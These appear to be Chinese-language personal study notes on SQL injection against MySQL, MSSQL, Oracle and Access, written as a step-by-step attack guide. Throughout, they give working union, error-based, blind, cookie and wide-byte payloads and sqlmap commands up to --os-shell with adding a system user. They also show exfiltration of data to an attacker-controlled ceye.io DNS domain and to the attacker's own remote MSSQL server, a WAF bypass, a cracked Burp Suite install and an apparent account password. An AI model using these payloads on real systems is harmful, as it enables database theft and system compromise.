sql 注入
1.盲注 (没有回显)
2.显错注入
3.报错注入
显错注入-联合查询(Mysql数据库)的基本流程
显错注入-联合查询
- 是否存在注入点
- 猜字段数
' order by 1...<根据第n个字段进行排序>' 可以看出有多少字段;
- 联合查询寻找输出点
知道字段数后,不知道返参是那个字段,这样可用联合查询 ' union select 1,2,3,4 '
正常查询根据id只显示第一条数据,可是联合查询会将联合查询值1234,显示在的二条;
这时需要将前面的数据排空:
正常查询不到的值(id=9.9、'and 1=2'<报错语句>
limit 1,1 <从第一行数据取一个>
这样就会显示出查询不到的值也就是的几个到下一步(现在假设是第二个是回显点,后面的
select 1 ,2 ,3,4
中2这个参数才会显示)
- 然后去系统自带库查询库名、表名、字段名
查库名:
可以将上步查询到的第几个字段换成’database()<当前库名>‘ (ps. union select 1,database(),3,4)
查表名(1):
union select 1,table_name from information_schema.tables where table_schema ='上面得到的库名' limit 0,1 (依次查询)
查表名(2):
union select 1,group_concat(table_name) from information_schema.tables where table_schema ='上面得到的库名'
group_concat():多行数据拼接查字段名(1):
union select 1,column_name from information_schema.columns where table_schema ='上面得到的库名' and table_name = '上面的表名' limit 1,1
查字段名(2):
union select 1,group_concat(column_name) from information_schema.columns where table_schema ='上面得到的库名' and table_name = '上面的表名'
- 查询我们需要的字段的值
根据上述信息可获取数据库中真实的值
union select 1,username <账号密码字段名> from <上面的表名>
- 回显点显示想要的内容
数据库语句必须闭合,’ --+ 或者 # ‘ 闭合单引号;
很多时候 # 不会被浏览器解析 可使用 (%23);
`--+`是浏览器编码 (空格会被替换成%20或者+);
`-- `就可闭合
古法
select * from news where id = 1 and 1=1;
select * from news where id = 1 and 1=2;
最简单
在url最后面加
'
教程(注意语句间空格)
- 数字传参可尝试
-1
(www.xxx.com/new.php?id=1 and ...) 页面显示id=1的新闻;
(www.xxx.com/new.php?id=2-1 and ...)页面显示id=1的新闻;
and 1=1 and 1=2
被拦截的可能性太高,可尝试and -1=-1 and -1=-2
or sleep(5)
sql 注入的常用工具
[匿名邮箱:]{https://bccto.me}
环境变量设置,为了是cmd或者其他程序不需要路径直接开启程序 <环境变量的设置win:计算机>属性>远程>高级>环境变量>在系统变量的变量’path‘的值中拼接 ";需要程序的路径"
sqlmap 基本操作:
- 存在注入:
sqlmap -u http://59.63.200.79:8003/?id=1
- 跑库名:
sqlmap -u http://59.63.200.79:8003/?id=1 --dbs
- 跑表名:`sqlmap -u http://59.63.200.79:8003/?id=1 -D maoshe --tables'
- 指定表跑字段:
sqlmap -u http://59.63.200.79:8003/?id=1 -D maoshe -T admin --columns
- 获取数据:
sqlmap -u http://59.63.200.79:8003/?id=1 -D maoshe -T admin -C username,password --dump
直接跑出权限,且getshell
sqlmap -u http://59.63.200.79:8001/single.php?id=1 --is-dba
:看dba的权限,如果有权限则可能getshellsqlmap -u http://59.63.200.79:8001/single.php?id=1 --os-shell
:有权限,去shell- 会问到用什么语言写的,按需求填写:
4
- 最后获得os shell
- 可直接输入:
whoami
、ipconfig
、net user
、net user a b /add
(添加系统用户a,密码b)、shutdown -t 0 -r
(关机重启) 等cmd的命令
sqlmap 直接跑包: sqlmap -r /Users/test/Desktop/1.txt
sqlmap 清理缓存:sqlmap --flush-session
sqlmap 可以直接暴库等查询数据库的东西
sqlmap 在url后面添加 --form 表示post请求
sqlmap 提高等级: sqlmap ... --level 3
sqlmap 知道闭合的时候可以:sqlmap -u http://59.63.200.79:8001/single.php?id=1")
里的")
就是闭合符号
Burpsuite 可以抓包;可以遍历跟换字符;安装证书后就可看到https的包内容;
BurpSuite 破解安装
[ .yd8."X:Pw"T796akMZoi989H3W|n[-!]这个是burpsuite的官网密码,邮箱为475...
jdk百度网盘下载
mac 安装jdk
burpsuite 下载1
burpsuite 下载2
可以跑数据包的方式,与sqlmap联合,先将请求头抓到后,保存到1.txt。此时如果知道哪里存在注入,就在哪里参数值后面加 *
用抓包的方式跑post注入的优点:1.可以加 * ,让注入有重点,不会出现 --form 提交后出现破碎的数据;2. 注入不一定在前台,有可能在后台,类似登录状态才会注入,也就是需要cookie
sqlmap.py -r c:/aaa/bbb/ccc/1.txt
post注入、head注入
post注入
经典,万能密码
'or 1=1#
ps.
select * from user where username='admin' and password = 'admin'
;
账号添加--+'
变形↓
select * from user where username='admin' --+' and password = 'admin'
;
变形↓将后面的注释掉
select * from user where username='admin'
(表示登录时,只需要账号就可以登录成功)输入内容:
1' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name='flag'#
和get差不多,看前面工具介绍
head注入
updatexml()这个一般配合 and 或者 or,他和联合查询不同,不需要在意什么字段数
select * from news where id=1 and updatexml(1,concat(0x7e,(select database()),0x7e),1)
但是要注意and情况下只要一个为false,就会判定为false,and 后面的语句不执行,所以建议使用or
某些没有回显盲注也可以用这个updatexml()做出来。但是报错一般有长度限制,不能输出太长的数据,尽量不要使用group_concat().
【有些盲注也可以试试看报错注入,因为有的时候报错注入的知名错误会显示出来,数据库只忽略普通报错】
updatexml() 语法
更新xml文档函数
updatexml(目标xml内容,xml文档路径,更新的内容)
updatexml(1, concat(0x7e,(select database()),0x7e), 1)
实际上这里是去更新了xml文档,但是我们在xml文档路径位置里面写入了查询,我们输入的特殊字符,然后就因为不符合输入规则报错,但是报错的时候他其实已经执行了那个子查询代码!【0x7e实际是16进制,MySQL支持16进制,但是开头得写0x 0x7e是一个特殊符号,然后不符合路径规则报错】
盲注
盲注的重要函数
length('abc')
:返回字符串长度
substr(str,pos,len)
:截取字符串
ascii()
:返回字符的ASCII码,
sleep(5)
:将程序挂起一段时间
if(expr1,expr2,expr3)
:判断语句,如果第一个语句正确就执行第二个语句如果错误执行第三个语句
盲注逻辑:看页面是否显示正常,正常表示对了,错误表示不对。先用大于小于判断范围,最后用==验证
select * from news where id=1 and
查库名长度:当临界值显示正常,表名库名的长度等于该值(此处表示长度为6)
select * from news where id=1 and length((select database()))==6
查库名字符,判断每一个字符,将每个字符截取出来并且转成ASCII码比较大小
select * from news where id=1 and ascii(substr((select database()),1,1))==70
这样就可以得出每一个字符,最终得到库名
接下来就和之前一样,一个一个判断出来一直到最后的内容
使用burp suite的方式:
抓包后用跑包的方式,不用判断各种大小,而是直接看返回包的大小得出想要的字符。
抓包->右键send intruder->clear->add->payloads->set=1,type=numbers->options->from:1,to:128(ascii只有128个),step:1->sets中的count无变化则在base 选hex后再选回来;开始跑包;
使用条件语句和挂起语句
select * from news where id=1 and if(ascii(substr(database(),1,1))>120,0,sleep(10))
表示库名的字符如果>120,就不延迟,否则延迟。通过是否延迟来得出最后的结果
使用sqlmap
sqlmap.py -u http://aaa.bbb.ccc
会直接得出结果,和有回显的一样
宽字节注入
在下列情况中使用:
- 存在魔术引号
- 要PHP编码和数据库不用,数据库非万国码 【常见的是GBK】
使用:
%df
或者汉
使用GBK编码适用,针对中国,其他的会有别的。 输入的内容会被转义掉 id=
汉子编码方式有很多种,有三字节编码方式和二字节编码方式(GBK是二字节编码)
select * from news where id='1\''
有转义字符,
access cookie注入
- 判断是否存在
- 参数在cookie中可以传递,【www.xxx.zzz/id=1】=>【www.xx.zzz + cookie[id]=1】 显示是一样的,表示存在
- 看 cookie 拼接参数后是否可注入
- cookie注入的字符必须进行url编码
sqlmap 跑cookie注入
sqlmap.py -u "http://aaa.bbb.ccc/news.asp" --cookie "id=171" --level 2
- 在浏览器直接进行操作有两种方式
在F12后的Application->cookie 添加参数
在console中直接操作
document.cookie="id="+escape("171 and 1=1")
document.cookie="id="+escape("171 and 1=2")
document.cookie="id="+escape('171 union select 1,2,3,4,5,6 from admin')
偏移注入【有回显点】
知道数据库名,表名,不知道字段名的情况
要求:联合查询前的字段要大于联合查询后的字段
回显3,5,7号 admin中有很多字段
document.cookie='id='+escape('171 union select 1,2,3,4,5,6,7 from admin')
偏移'171 union select admin.*,1,2,3,4,5,6,7 from admin')
;意思就是会将admin表中的第三个字段输出到回显点的3号位,回显是几,就会显示第几个字段的值
再偏移'171 union select 1,2,admin.*,4,5,6,7 from admin')
;意思就是会将admin表中的第一个字段输出到回显点的3号位
MySQL dns注入
在某些无法直接利用漏洞获取回显的情况下,但是目标可以发起请求,这个时候就可以通过dnslog将数据带出来;对于sql盲注,常见的方法是一个一个猜,但是麻烦且会被ban。所以可以将select到的数据发送给一个url,利用dns解析产生的log查看数据
直接查询一个文件 可将盲注转为显错注入
使用函数:load_file(‘c:/.../.../1/txt’)
读取文件的函数
select load_file('../../../aaa/bb/1.txt')
返回查询出的1.txt扩:
insert into table (fileId,UserId,value) values (1,2,load_file('/data/test.txt'))
表示直接将文件插入到数据库中,挂东西敏感文件:
Linux: /etc/passwd win: c:/windows/win.ini
步骤:
在
ceye.io
注册下,这个专门做dns的,手机号码可以用阿里小号。最终会得到一个二级域名,在identifier中;该网站会记录dns解析了一些什么东西随时查看 DNS Query ,里面是dns的访问日志;ping的时候前面加随便(泛解析)
xxx.xxx.xxx/a.php
在有狗的情况下绕狗(之一)xxx.xxx.xxx/a.php/1.txt
xxx.xxx.xxx/a.php/1.txt?id=1 and (select load_file(concat('//',(select table_name from information_schema.tables where table_schema=0x6d616e677a6875 limit 0,1),'.hp0zyr.ceye.io/abc.txt)))
解释:读取文件;获取表名;表名16进制绕解析;拼接dns服务的地址;在
ceye.io
中的dns日志中可以看到三级域名字符,就是最终要获得的数据;
MSSQL 反弹注入 (别人访问自己的服务,对方是没有日志的,只能用在SQL sever数据库)
- MSSQL反弹注入场景
普通手法无法实现注入内容,通过mssql反弹实现注入
实际就是把查询出来的数据发送到自己的mssql服务器上
- 搭建MSSQL环境
http://www.webweb.com
香港云,- 注册用匿名邮箱,并试用
- 进入到自己的主机
- 数据库管理 ->
sql server管理
- 创建数据库 (
记录数据库信息
,后期需要使用)- 得到数据库的url
- 可在
sql server控制台
,输入信息后操作数据库- 可以在控制台的
Run Query
用sql语句创建表- 这样就有了一个sql server服务器,可以远程操作,用来将别人的数据信息写入自己的数据库
- 语句
opendatasource(provider_name,init_string)
insert into opendatasource ('sqloledb','server=SQL5006.webweb.com,1433;uid=DB_14ABC_AB_admin;pwd=123456;database=DB_14ABC_AB_admin').DB_12ABC_zka.dbo.temp select *from admin -- qwe
解释:
provider_name:
注册为用于访问数据源的OLE DB提供程序的PROGID的名称 MSSQL的名称为SQLOLEDB
init_string:
链接字符串;
链接地址、端口、用户名、密码、数据库名
server=链接地址url,端口;uid=用户名;pwd=密码;database=数据库名称
连接上服务器后选定数据表DB_14ABC_AB_admin.dbo.表名
吧后面语句的查询结果插入到那个表里面
- 靶场分析
select * from news where id='1' union all select 1,2,3 from news --qw
显示错误,字段不一定是数值类型,要用无类型接收
select * from news where id='1' union all select null,null,null from news --qw
执行成功
select * from news where id='1' union all select null,null,1 from news --qw
开始判断回显点,但是错误,表示1
不是数值类型,是字符串
select * from news where id='1' union all select null,null,abc from news --qw
出现回显点需要库名、表名、字段名;语句解释:
select * from dbo.sysdatabases
:查询系统库select * from dbo.sysobjects
:查询系统表(xtype='U') ->select * from dbo.sysobjects where xtype = 'U'
U:用户创建的表;S:系统创建的表select * from dbo.syscolumns
:查询字段(id=)指定sysobjects库中表名对应的id ;ID 为上个查询语句,查表明的时候回返回这个id值
测出三个回显点都是什么类型的
需要id是数值类型的,表名是字符类型的
http://aaa.aaa.aaa/?id=1' union all select id,name,null from dbo.sysobjects where xtype='U' -- qwe
不用查库,直接查表,得到表名和idhttp://aaa.aaa.aaa/?id=1' union all select null,name,null from dbo.syscolumns where id='id' -- qwe
得到字段名http://aaa.aaa.aaa/?id=1' union all select null,字段,null from 表名 -- qwe
得到字段名- 使用反弹:(
注意自己服务器的字段数量和侵入数据的字段数量,可以多建几个表,在不同的表之间切换
)
http://aaa.aaa.aaa/?id=1'; insert into opendatasource ('sqloledb','server=SQL5006.webweb.com,1433;uid=DB_14ABC_AB_admin;pwd=123456;database=DB_14ABC_AB_admin').DB_12ABC_zka.dbo.temp select *from admin -- qwe
知道表名的情况下,但是这种没有意义;所以变形↓http://aaa.aaa.aaa/?id=1'; insert into opendatasource ('sqloledb','server=SQL5006.webweb.com,1433;uid=DB_14ABC_AB_admin;pwd=123456;database=DB_14ABC_AB_admin').DB_12ABC_zka.dbo.temp select id,name from dbo.sysobjects where xtype='U' -- qwe
这个是在自己的服务上知道了,表名和表的id;然后再查询表中的字段http://aaa.aaa.aaa/?id=1'; insert into opendatasource ('sqloledb','server=SQL5006.webweb.com,1433;uid=DB_14ABC_AB_admin;pwd=123456;database=DB_14ABC_AB_admin').DB_12ABC_zka.dbo.temp select name,null from dbo.syscolumns where id=自己服务上的id -- qwe
这个是在自己的服务上知道了,字段名;重复第一步,得到最后数据;
Oracle注入 报错注入 主要是语法和MySQL不一样,过程还是一样的
- 注入函数
- 报错注入、联合查询(union all)
查询所有的表
select * from all_tables
所有表
select * from all_tables
- 演示:
- 基本操作
select 1,2,3 from dual
dual是强行格式化,为了满足oracle数据库严谨的语法
select dbms_random.random from dual
产生随机数
select user from dual
当前用户名
select 9+1 from dual
可以运算
select * from all_tables
查询全部的表
select * from all_tables where owner='当前用户名'
用户名下的表
select * from user_tables
当前用户名下的表,和上面一样的效果
select * from user_tab_columns
当前用户下的所有字段
select * from user_tab_columns where rownum=1
相当于limit 0,1
select * from user_tab_columns where rownum<3
相当于limit 0,2
select * from user_tab_columns where rownum=1 and column_name!='id'
其中:<>
和!=
不等于的意思
select * from v$version
版本报错注入函数
Ctxsys.drithsx.sn(user,(select banner from v$version where rownum=1))
去查询关于主题的对应关键词,然后因为查询失败(应该是这个用户没有创建和查询权限,默认情况没有创建,爆出未查询到的错误,从而爆出查询的内容)
使用步骤:
http://59.63.200.79:8808/?id=1 And 1=Ctxsys.drithsx.sn(1,(select table_name from user_tables where rownum=1)) -- qwe
:得到news表
http://59.63.200.79:8808/?id=1 And 1=Ctxsys.drithsx.sn(1,(select table_name from user_tables where rownum=1 and table_name<>'NEWS')) -- qwe
:得到除了news的表